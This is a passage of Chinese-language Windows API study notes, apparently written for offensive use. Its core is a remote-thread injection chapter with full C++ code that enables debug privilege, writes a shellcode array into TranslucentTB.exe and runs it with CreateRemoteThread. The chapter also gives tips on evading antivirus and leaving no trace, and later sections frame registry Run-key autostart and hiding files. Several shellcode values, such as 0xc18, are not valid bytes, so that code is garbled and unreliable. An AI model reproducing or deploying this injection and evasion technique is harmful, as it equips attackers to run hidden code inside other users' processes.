        std::cerr << "[-] 进程打开失败, 错误码: " << GetLastError() << std::endl;
        return;
    }
    std::vector<HMODULE> modules(1024);
    DWORD needed;
    if(!EnumProcessModules(hProcess, modules.data(), modules.size() * sizeof(HMODULE), &needed)){
        std::cerr << "[-] EnumProcessModules失败, 错误码: " << GetLastError() << std::endl;
        CloseHandle(hProcess);
        return;
    }

    size_t moduleCount = needed / sizeof(HMODULE);
    std::cout << "[+] 共找到 " << moduleCount << " 个模块! " << std::endl;
    std::cout << "===== " << std::endl;

    for(size_t i = 0; i < moduleCount; i++){
        HMODULE hMod = modules[i];

        // 获取模块名字
        char szName[MAX_PATH];
        if(GetModuleBaseNameA(hProcess, hMod, szName, MAX_PATH) == 0){ strcpy_s(szName, "<未知>"); }

        // 获取模块路径
        char path[MAX_PATH];
        if(GetModuleFileNameExA(hProcess, hMod, path, MAX_PATH) == 0){ strcpy_s(path, "<无法获取路径>"); }

        // 获取模块详细信息
        MODULEINFO modInfo;
        if(!GetModuleInformation(hProcess, hMod, &modInfo, sizeof(MODULEINFO))){
            std::cerr << "[-] 获取模块信息失败: " << szName << std::endl;
            continue;
        }

        std::cout << "[" << i << "]" << szName << std::endl;
        std::cout << "    基址: " << std::hex << std::setw(16) << std::setfill('0')
            << (uintptr_t)modInfo.lpBaseOfDll << std::dec << std::endl;
        std::cout << "    大小: " << std::hex << modInfo.SizeOfImage << std::dec << " 字节" << std::endl;
        std::cout << "    路径: " << path << std::endl;
        std::cout << "-----" << std::endl;
    }
    CloseHandle(hProcess);
}

// 主函数
int main(){
    if(!EnableDebugPrivilege()){ std::cerr << "[-] 提权失败, 请以管理员身份运行。" << std::endl; }
    else{ std::cerr << "[+] 提权成功, 可以操作其他进程了。" << std::endl; }

    std::string targetProcessName;
    std::cout << "请输入目标进程名 (例如: notepad.exe) : ";
    getline(std::cin, targetProcessName);
    std::cout << "[*] 正在查找进程: " << targetProcessName << std::endl;

    DWORD pid = GetPidByName(targetProcessName);
    if(pid == 0){
        std::cerr << "[-] 未找到进程: " << targetProcessName << std::endl;
        return 1;
    }
    std::cout << "[+] 找到进程, PID: " << pid << std::endl;
    ListModulesForProcess(pid);

    system("pause");
}

```

✧ 远程线程注入专章(经典注入三板斧)

阶段单词: Ex 扩展版、Remote 远程、Thread 线程、Start 开始、Stack 栈、Creation 创建、Routine 例程

宏定义(注入专用)

宏名称(值)	含义 + 原因
MEM_COMMIT	含义：立即分配物理内存给这段地址(提交)。 原因：远程进程的地址空间刚保留(RESERVE)时是不能写入的，必须用 COMMIT 提交后才能写入数据。
MEM_RESERVE	含义：只在远程进程的虚拟地址空间里划出块地址范围。 原因：配合 COMMIT 一起用，表示保留+提交。
PAGE_READWRITE	含义：内存页可读、可写。 原因：我们刚把 Shellcode 写入远程进程时，需要写权限，但不需要执行权限（还没执行呢）。
PAGE_EXECUTE_READ	含义：内存页可执行、可读。 原因：写入完毕后，执行前必须把属性改成“可执行”，否则 CPU 会触发 EXCEPTION_ACCESS_VIOLATION(数据执行保护 DEP)。
PAGE_EXECUTE_READWRITE	含义：可读可写可执行。 原因：实战中 100%报毒，正式开发请用上面两步走。
MEM_RELEASE	含义：完全释放远程进程中的内存。 原因：注入完成后若不清理，目标进程会内存泄漏，长期运行容易崩溃。

API 函数精解

操作顺序铁律：打开目标进程(OpenProcess)→远程分配内存(VirtualAllocEx)→写入 Shellcode(WriteProcessMemory)→改内存属性(VirtualProtectEx)→创建远程线程执行(CreateRemoteThread)→清理(VirtualFreeEx + CloseHandle)

VirtualAllocEx 在目标进程里申请内存

返回值：远程内存地址(LPVOID)，失败返回 NULL

- 参数 1：目标进程句柄(先用 OpenProcess 打开进程)
- 参数 2：起始地址(填 NULL 让系统自动选)
- 参数 3：分配大小(字节数，用 SIZE_T 类型)
- 参数 4：分配类型(MEM_RESERVE | MEM_COMMIT，保留+提交)
- 参数 5：内存属性(PAGE_READWRITE，先只给“读写”权限过 DEP，写完后改属性)

WriteProcessMemory 将 Shellcode 写入远程内存

注意：这个函数之前补过，但在此场景下必须重新强调参数，因为目标地址是远程进程的地址。

- 参数 1：进程句柄
- 参数 2：远程地址(VirtualAllocEx 返回的指针)
- 参数 3：本地缓冲区地址(本机的 Shellcode 数组)
- 参数 4：要写入的字节数
- 参数 5：实际写入字节数地址(可填 NULL)

VirtualProtectEx 修改远程内存属性(从可写改为可执行)

必须加上！真实注入流程中，这一步决定了代码能否跑起来，以及是否会被杀软拦截。如果不改属性，PAGE_READWRITE 不能执行，线程创建后会直接崩溃。

- 参数 1：进程句柄
- 参数 2：远程地址

- 参数 3: 修改大小(通常填整个 Shellcode 大小)
- 参数 4: 新属性(PAGE_EXECUTE_READ 将内存属性改为“可执行+可读”)
- 参数 5: 旧属性保存地址(传出, 可定义变量接收, 需定义 DWORD oldProtect;)

CreateRemoteThread 在目标进程中创建线程执行 Shellcode

核心激发函数: 它会在目标进程里新建一个线程, 从 pRemoteMem 地址开始执行机器码。

- 参数 1: 进程句柄
- 参数 2: 线程安全属性(填 NULL 使用默认的安全描述符, 新线程不会被继承给子进程, 不需要额外的安全控制)
- 参数 3: 线程栈初始大小(填 0 使用默认大小通常是 1MB, 不需要手动控制)
- 参数 4: 线程起始地址(指向远程内存中 Shellcode 的入口, 线程入口点就是 Shellcode 的首地址。注意: Shellcode 必须写成_stdcall 或无参函数的形式 void (void), 否则 ret 时会导致栈不平衡崩溃。可将远程缓冲区强制转换为 LPTHREAD_START_ROUTINE)
- 参数 5: 线程参数地址(不需要传递数据给线程填 NULL)
- 参数 6: 创建标志(填 0 立即运行, 如果想先挂起等待时机可填 CREATE_SUSPENDED)
- 参数 7: 线程 ID 地址(不关心新线程的 ID 号, 可填 NULL)

VirtualFreeEx 清理远程内存(注入完成后必须做)

虽然部分 Shellcode 执行完就结束了, 但如果想做到“干净不留痕”, 必须释放内存。

- 参数 1: 进程句柄
- 参数 2: 远程地址
- 参数 3: 大小(释放填 0)
- 参数 4: 释放类型(MEM_RELEASE)

进程注入以打开终端代码示例:

```
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <string>

// =====
// 提权 (确保能打开目标进程)
// =====
bool EnableDebugPrivilege() {
    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
        return false;
    LUID luid;
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
        CloseHandle(hToken);
        return false;
    }
    TOKEN_PRIVILEGES tp;
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    bool success = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    CloseHandle(hToken);
    return success && GetLastError() != ERROR_NOT_ALL_ASSIGNED;
}

// =====
// 根据进程名获取 PID
// =====
```

```

DWORD GetPidByName(const std::string& targetName) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return 0;

    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnap, &pe)) {
        do {
            if (targetName == pe.szExeFile) {
                CloseHandle(hSnap);
                return pe.th32ProcessID;
            }
        } while (Process32Next(hSnap, &pe));
    }

    CloseHandle(hSnap);
    return 0;
}

// =====
// 主注入流程
// =====
int main() {
    // ① 提权 (管理员身份必须)
    if (!EnableDebugPrivilege()) {
        std::cerr << "[-] 提权失败, 请以管理员身份运行。" << std::endl;
        // 继续尝试, 但可能失败
    }

    // ② 找目标进程
    DWORD pid = GetPidByName("TranslucentTB.exe");
    if (pid == 0) {
        std::cerr << "[-] 未找到 TranslucentTB.exe, 请先运行它。" << std::endl;
        system("pause");
        return 1;
    }

    std::cout << "[+] 找到 TranslucentTB.exe, PID: " << pid << std::endl;

    // ③ 打开进程 (此处用 PROCESS_ALL_ACCESS 是为了方便)
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) {
        std::cerr << "[-] 打开进程失败, 错误码: " << GetLastError() << std::endl;
        system("pause");
        return 1;
    }

    // =====
    // 准备 Shellcode (仅仅打开终端)
    // =====
    unsigned char shellcode[] = {
        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
        0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0xc18, 0x48,
        0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0xc31, 0xc9,
        0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
        0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0xc3c, 0x48,
        0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
        0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
        0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
        0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
        0x24, 0x00, 0x45, 0xc9, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
        0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
        0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
        0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
        0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
        0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
        0xd5, 0x48, 0x83, 0xc4, 0x28, 0xc3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
        0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5,
        0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00
    };
    SIZE_T shellcodeSize = sizeof(shellcode);

    // ④ 在目标进程里申请一块内存 (工位: VirtualAllocEx)
    LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pRemoteBuf) {
        std::cerr << "[-] VirtualAllocEx 失败, 错误码: " << GetLastError() << std::endl;
        CloseHandle(hProcess);
        system("pause");
        return 1;
    }

    std::cout << "[+] 在目标进程申请内存成功, 地址: 0x" << std::hex << (uintptr_t)pRemoteBuf << std::dec << std::endl;

    // ⑤ 把 Shellcode 写进去 (工位: WriteProcessMemory)
    if (!WriteProcessMemory(hProcess, pRemoteBuf, shellcode, shellcodeSize, NULL)) {
        std::cerr << "[-] WriteProcessMemory 失败, 错误码: " << GetLastError() << std::endl;
        VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        system("pause");
        return 1;
    }

    std::cout << "[+] Shellcode 写入成功。" << std::endl;
}

```

```

// ④ 修改内存属性为“可读可执行”（工位：VirtualProtectEx）
DWORD oldProtect = 0;
if (!VirtualProtectEx(hProcess, pRemoteBuf, shellcodeSize, PAGE_EXECUTE_READ, &oldProtect)) {
    std::cerr << "[!] VirtualProtectEx 失败, 错误码: " << GetLastError() << std::endl;
    VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    system("pause");
    return 1;
}
std::cout << "[+] 内存属性已修改为 PAGE_EXECUTE_READ。" << std::endl;

// ⑤ 创建远程线程执行 Shellcode（工位：CreateRemoteThread）
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteBuf, NULL, 0, NULL);
if (!hThread) {
    std::cerr << "[!] CreateRemoteThread 失败, 错误码: " << GetLastError() << std::endl;
    VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    system("pause");
    return 1;
}
std::cout << "[+] 远程线程创建成功! 请观察 TranslucentTB.exe 是否弹出窗口。" << std::endl;

// 等待线程结束（工位：清理前先等线程跑完）
WaitForSingleObject(hThread, INFINITE);

// 释放远程内存（工位：VirtualFreeEx）
VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);

CloseHandle(hThread);
CloseHandle(hProcess);

std::cout << "[+] 注入完成, 内存已释放。" << std::endl;
system("pause");
return 0;
}

```

系统监控：文件/注册表操作

阶段单词：Find 查找、Close 关闭(释放搜索句柄)、SystemTime 系统时间(可读的时间结构体)、FileTime 文件时间(Windows 内核用的 64 位时间)、Attribute 属性(隐藏、只读、系统等标志)、Key 项(注册表里的文件夹)、Value 值(注册表里的具体数据)、Query 查询(读取)、Set 设置(写入)、Delete 删除

宏定义 >>> 文件操作篇

宏名称	含义/原因
GENERIC_READ	含义：请求读取文件的权限。 原因：要读文件或属性，必须声明读权限。
GENERIC_WRITE	含义：请求写入文件的权限。 原因：修改文件，必须声明写权限。
FILE_SHARE_READ	含义：允许其他进程在咱们打开文件时也来读。 原因：防止锁住文件导致系统或其他程序无法访问，尤其对系统文件。
FILE_SHARE_WRITE	含义：允许其他进程在咱们打开文件时，也来写。 原因：通常不推荐，但在读取日志文件时偶尔需要。
OPEN_EXISTING	含义：只打开已经存在的文件。 原因：操作已有文件，不是创建新文件。
CREATE_ALWAYS	含义：总是创建新文件，如果已存在则覆盖。 原因：写日志或输出结果时用，注意会覆盖旧文件。
FILE_ATTRIBUTE_NORMAL	含义：普通文件(无特殊标记)。 原因：读大多数普通文件时填这个最安全。
FILE_ATTRIBUTE_HIDDEN	含义：隐藏文件。 原因：用来检测或设置文件是否在资源管理器里不可见。

FILE_ATTRIBUTE_SYSTEM	含义：系统文件。 原因：用来检测或设置文件是否为系统核心文件。
FILE_ATTRIBUTE_DIRECTORY	含义：这是个目录，不是普通文件。 原因：遍历文件夹时，用这个过滤掉"."和"..", 只处理真正的文件。

API 函数/接口 >>> 文件操作篇

CreateFile 打开/创建文件

- 参数 1: 路径(如"C:\\test.txt", 填目标文件完整路径)
- 参数 2: 访问权限(GENERIC_READ | GENERIC_WRITE 读+写)
- 参数 3: 共享模式(FILE_SHARE_READ 允许别人读但不允许别人写, 防止我们改文件时被其他程序干扰。如果完全独占填 0)
- 参数 4: 安全属性(NULL 使用默认安全描述符, 不指定用户访问控制)
- 参数 5: 创建方式(OPEN_EXISTING 读取已有文件, CREATE_ALWAYS 新建文件)。
- 参数 6: 文件属性(FILE_ATTRIBUTE_NORMAL 表普通属性。如果想打开隐藏文件填 FILE_ATTRIBUTE_HIDDEN)
- 参数 7: 模板句柄(NULL 不继承任何模板文件的属性)

```
#include <windows.h>

int main() {
    HANDLE hFile = CreateFileA(
        "C:\\Users\\Administrator\\Desktop\\ZaXian\\Lab\\test.txt",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    if(hFile != INVALID_HANDLE_VALUE) { CloseHandle(hFile); }
}
```

ReadFile 读取文件内容

- 参数 1: 文件句柄(hFile)
- 参数 2: 缓冲区地址(存读出的数据)
- 参数 3: 要读的字节数(sizeof(buffer)-1, 留个字节给结尾的'\0', 方便当字符串处理)。
- 参数 4: 实际读取字节数地址(&bytesRead, 必须传地址, ReadFile 不允许参数 4 为 NULL >>> 同步模式下必须传有效地址)
- 参数 5: 重叠结构地址(使用同步 I/O 等读完才返回, 不涉及异步操作填 NULL)

```
#include <windows.h>
int main() {
    char buffer[128] = {0};
    DWORD bytesRead = 0;
    HANDLE hFile = CreateFileA(
        "C:\\Users\\Administrator\\Desktop\\ZaXian\\Lab\\test.txt",
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    if (hFile != INVALID_HANDLE_VALUE) {
        ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL);
        buffer[bytesRead] = '\0';
        CloseHandle(hFile);
    }
}
```

WriteFile 写入文件内容

- 参数 1: 文件句柄
- 参数 2: 数据缓冲区地址("Hello"或 data 变量)
- 参数 3: 要写的字节数(strlen("Hello")只写有效字符, 不写结尾的'\0', 因为文本文件不需要存储终结符)
- 参数 4: 实际写入字节数地址(&bytesWritten 必须传地址, 用于校验是否写全了。如果返回值不等于参数 3, 说明磁盘满了或出错)
- 参数 5: 重叠结构地址(NULL 同步写, 不异步)

```
#include <windows.h>

int main() {
    const char* text = "Hello, Windows API!\n";
    DWORD bytesWritten = 0;

    HANDLE hFile = CreateFileA(
        "C:\\Users\\Administrator\\Desktop\\ZaXian\\Lab\\test.txt",
        GENERIC_WRITE,
        FILE_SHARE_READ,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    if (hFile != INVALID_HANDLE_VALUE) {
        WriteFile(hFile, text, strlen(text), &bytesWritten, NULL);
        CloseHandle(hFile);
    }
}
```

GetFileAttributes 获取文件属性

- 参数 1: 文件路径
- ✧ 返回值: DWORD 类型的属性掩码(如 FILE_ATTRIBUTE_HIDDEN)。
- ✧ 含义/原因: 没有额外的参数, 直接传路径即可。如果返回 INVALID_FILE_ATTRIBUTES 表示获取失败(文件不存在或无权限)。

```
#include <windows.h>
#include <iostream>

int main() {
    DWORD attrs = GetFileAttributesA("C:\\Users\\Administrator\\Desktop\\ZaXian\\Lab\\test.txt");
    if (attrs == INVALID_FILE_ATTRIBUTES) { return 0; }
    std::cout << "All attributes bitmask: " << attrs << "\n"; // 所有属性的位掩码
    if (attrs & FILE_ATTRIBUTE_READONLY) std::cout << "READONLY\n"; // 只读文件
    if (attrs & FILE_ATTRIBUTE_HIDDEN) std::cout << "HIDDEN\n"; // 隐藏文件
    if (attrs & FILE_ATTRIBUTE_SYSTEM) std::cout << "SYSTEM\n"; // 系统文件
    if (attrs & FILE_ATTRIBUTE_DIRECTORY) std::cout << "DIRECTORY\n"; // 目录
    if (attrs & FILE_ATTRIBUTE_ARCHIVE) std::cout << "ARCHIVE\n"; // 存档文件
    if (attrs & FILE_ATTRIBUTE_DEVICE) std::cout << "DEVICE\n"; // 设备文件
    if (attrs & FILE_ATTRIBUTE_NORMAL) std::cout << "NORMAL\n"; // 普通文件
}
```

SetFileAttributes 设置文件属性

- 参数 1: 文件路径
- 参数 2: 新属性掩码(FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM 直接传组合好的宏。这会覆盖原有属性, 如果想追加保留原有属性, 要先用 GetFileAttributes 读出来, 按位或(|)上新属性后再写回去。

```
#include <windows.h>
#include <iostream>

int main() {
```

```
const char* path = "C:\\Users\\Administrator\\Desktop\\ZaXian\\Lab\\test.txt";
DWORD attrs = GetFileAttributesA(path);
if (attrs == INVALID_FILE_ATTRIBUTES) { std::cout << "File not found\n"; }
std::cout << "旧属性: " << attrs << "\n";
attrs |= FILE_ATTRIBUTE_HIDDEN; // 设置隐藏属性
if (!SetFileAttributesA(path, attrs)) { return 0; } // 设置文件属性
std::cout << "设置隐藏属性成功\n";
}
```

FindFirstFile 开始遍历目录

- 参数 1: 目录路径+通配符("C:\\Windows\\System32*.exe"路径加通配符*表示匹配所有 exe 文件)
- 参数 2: 查找信息结构体地址(&findData 传出文件信息 > 名称 大小 属性 时间)
- ✧ 返回值: 搜索句柄(HANDLE), 失败返回 INVALID_HANDLE_VALUE。

FindNextFile 继续遍历下个

- 参数 1: 搜索句柄(hFind)
- 参数 2: 查找信息结构体地址(&findData)
- ✧ 返回值: BOOL 成功为 TRUE, 没有更多文件为 FALSE。
- ✧ 含义/原因: 配合 FindFirstFile 循环使用, 直到返回 FALSE 为止。

FindClose 关闭搜索句柄

- 参数 1: 搜索句柄
- ✧ 含义/原因: 遍历完成后必须调用, 否则句柄泄漏, 严重时会导致系统目录句柄耗尽。

```
#include <windows.h>
#include <iostream>
#include <cstring>

int main() {
    const char* dir = "C:\\Users\\Administrator\\Desktop\\ZaXian\\Lab\\";
    WIN32_FIND_DATA findData;
    HANDLE hFind = FindFirstFileA(dir, &findData);
    if (hFind == INVALID_HANDLE_VALUE) { return 0; }
    do {
        if (std::strcmp(findData.cFileName, "test.txt") == 0) {
            std::cout << "存在目标文件: " << findData.cFileName << "\n";
            FindClose(hFind);
            return 0; }
    } while (FindNextFileA(hFind, &findData));
    std::cout << "未找到目标文件\n";
    FindClose(hFind);
    return 0;
}
```

GetFileTime: 获取文件时间戳

- 参数 1: 文件句柄
- 参数 2: 创建时间地址(&ftCreate, 可填 NULL 如果不关心)
- 参数 3: 访问时间地址(&ftAccess, 可填 NULL)
- 参数 4: 修改时间地址(&ftModify, 至少填一个, 其余填 NULL。时间格式为 FILETIME 64 位)。
- ✧ 配套转换函数: 必须用 FileTimeToSystemTime 转成可读的 SYSTEMTIME。

```
#include <windows.h>
#include <iostream>

int main() {
    const char* path = "C:\\Users\\Administrator\\Desktop\\ZaXian\\Lab\\test.txt";
    HANDLE hFile = CreateFileA(
```

```

    path,
    GENERIC_READ,
    FILE_SHARE_READ,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL );
if (hFile == INVALID_HANDLE_VALUE) { return 0; }
FILETIME creationTime, lastAccessTime, lastWriteTime;
if (GetFileTime(hFile, &creationTime, &lastAccessTime, &lastWriteTime)) {
    SYSTEMTIME st;
    FileTimeToSystemTime(&creationTime, &st); // 将文件时间转换为系统时间
    std::cout << "创建时间: "
        << st.wYear << "-" // 年份
        << st.wMonth << "-" // 月份
        << st.wDay << " " // 日期
        << st.wHour << ":" // 小时
        << st.wMinute << ":" // 分钟
        << st.wSecond << "\n"; // 秒
} else { std::cout << "获取文件时间失败\n"; }
CloseHandle(hFile);
}

```

宏定义 >>> 注册表操作篇

宏名称	含义/原因
HKEY_CURRENT_USER	含义：当前用户配置根键。 原因：写入 Run 启动项时用这个，不会影响其他用户，也不需要管理员权限。
HKEY_LOCAL_MACHINE	含义：本机所有用户配置根键。 原因：需要管理员权限才能写，通常用于系统级自启动。
KEY_READ	含义：允许读取项和值。 原因：查询值时必须用这个权限。
KEY_SET_VALUE	含义：允许创建/修改值。 原因：写入或修改启动项时必须用这个权限。
REG_SZ	含义：字符串类型(以'\0'结尾)。 原因：启动项路径都是字符串，所以数据类型必须是 REG_SZ。
REG_DWORD	含义：32 位整数值。 原因：如果存数字（如端口号）就用这个。

API 函数/接口 >>> 注册表操作篇

RegOpenKeyEx 打开注册表项

- 参数 1：根键(HKEY_CURRENT_USER 从当前用户根开始找，只操作当前用户的 Run 项)
- 参数 2：子项路径(如"Software\\Microsoft\\Windows\\CurrentVersion\\Run")
- 参数 3：保留(微软保留参数，必须填 0)
- 参数 4：访问权限(KEY_READ | KEY_SET_VALUE 既读取又写入删除，两个权限都带上)
- 参数 5：项句柄地址(&hKey 传出给后续操作使用)

```

#include <windows.h>
#include <iostream>
int main() {
    HKEY hKey = nullptr;
    LONG status = RegOpenKeyExA(
        HKEY_CURRENT_USER,
        "Software\\Microsoft\\Windows",
        0,
        KEY_READ,
        &hKey );
    if (status != ERROR_SUCCESS){ return 0; }
    std::cout << "Registry key opened successfully\n";
    RegCloseKey(hKey);
    return 0;
}

```

RegSetValueEx 写入/修改值

- 参数 1: 项句柄
- 参数 2: 值名称("MyApp"在 Run 项下创建一个名叫 MyApp 的值)
- 参数 3: 保留(必须填 0)
- 参数 4: 数据类型(REG_SZ 启动项路径是字符串, 所以用字符串类型)
- 参数 5: 数据地址("C:\\calc.exe", 要写入的数据)
- 参数 6: 数据大小(strlen("C:\\calc.exe") + 1, 加 1 是为了把结尾的'\0'也写进去, 否则系统读字符串时不知道在哪结束。

```
#include <windows.h>
#include <iostream>
int main() {
    HKEY hKey = nullptr;
    LONG status = RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\MyDemo", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
    if (status != ERROR_SUCCESS){ return 0; }
    const char* valueName = "DemoValue";
    const char* valueData = "HelloReg";
    status = RegSetValueExA(
        hKey,
        valueName,
        0,
        REG_SZ,
        reinterpret_cast<const BYTE*>(valueData),
        static_cast<DWORD>(strlen(valueData) + 1) );
    if (status != ERROR_SUCCESS) {
        std::cout << "RegSetValueEx failed\n";
    } else { std::cout << "Set value successfully\n"; }
    RegCloseKey(hKey);
}
```

RegQueryValueEx 查询值

- 参数 1: 项句柄
- 参数 2: 值名称
- 参数 3: 保留(填 0)
- 参数 4: 数据类型地址(NULL 表示不关心数据类型只关心数据内容, 填 NULL 省事)
- 参数 5: 数据缓冲区地址(buffer 存读取出的路径字符串)
- 参数 6: 缓冲区大小地址(&bufSize 传入时必先赋值 sizeof(buffer), 函数传出会修改为实际数据的字节数(含'\0')。如果缓冲区不够大, 函数会返回 ERROR_MORE_DATA, 这时需要扩容重试)

```
#include <windows.h>
#include <iostream>
int main() {
    HKEY hKey = nullptr;
    LONG status = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\MyDemo", 0, KEY_READ, &hKey);
    if (status != ERROR_SUCCESS){ return 0; }

    const char* valueName = "DemoValue";
    char buffer[256] = {0};
    DWORD type = 0;
    DWORD size = sizeof(buffer);

    status = RegQueryValueExA(
        hKey,
        valueName,
        NULL,
        &type,
        reinterpret_cast<LPBYTE>(buffer),
        &size );

    if (status != ERROR_SUCCESS) {
        std::cout << "RegQueryValueEx failed\n";
    } else {
        std::cout << "Type: " << type << "\n";
        std::cout << "Value: " << buffer << "\n"; }
    RegCloseKey(hKey);
    return 0;
}
```

RegDeleteValue 删除值

- 参数 1: 项句柄
- 参数 2: 值名称
- ✧ 含义/原因: 直接删除名称的值不留痕, 如果不存在返回 ERROR_FILE_NOT_FOUND。

```
#include <windows.h>
#include <iostream>

int main() {
    HKEY hKey = nullptr;
    LONG status = RegOpenKeyExA(
        HKEY_CURRENT_USER,
        "Software\\MyDemo",
        0,
        KEY_READ | KEY_WRITE,
        &hKey );
    if (status != ERROR_SUCCESS) { return 0; }

    const char* valueName = "DemoValue";
    status = RegDeleteValueA(hKey, valueName);

    if (status != ERROR_SUCCESS) {
        std::cout << "RegDeleteValue failed\n";
    } else { std::cout << "Delete value successfully\n"; }

    RegCloseKey(hKey);
    return 0;
}
```

RegCloseKey 关闭注册表项句柄

- 参数 1: 项句柄
- ✧ 含义/原因: 操作完成后必须调用, 释放句柄资源。

```
#include <windows.h>
#include <iostream>

int main() {
    HKEY hKey = nullptr;
    LONG status = RegOpenKeyExA(
        HKEY_CURRENT_USER,
        "Software\\MyDemo",
        0,
        KEY_READ,
        &hKey );
    if (status != ERROR_SUCCESS) { return 0; }

    std::cout << "Key is opened\n";
    RegCloseKey(hKey);
    std::cout << "Key is closed\n";
}
```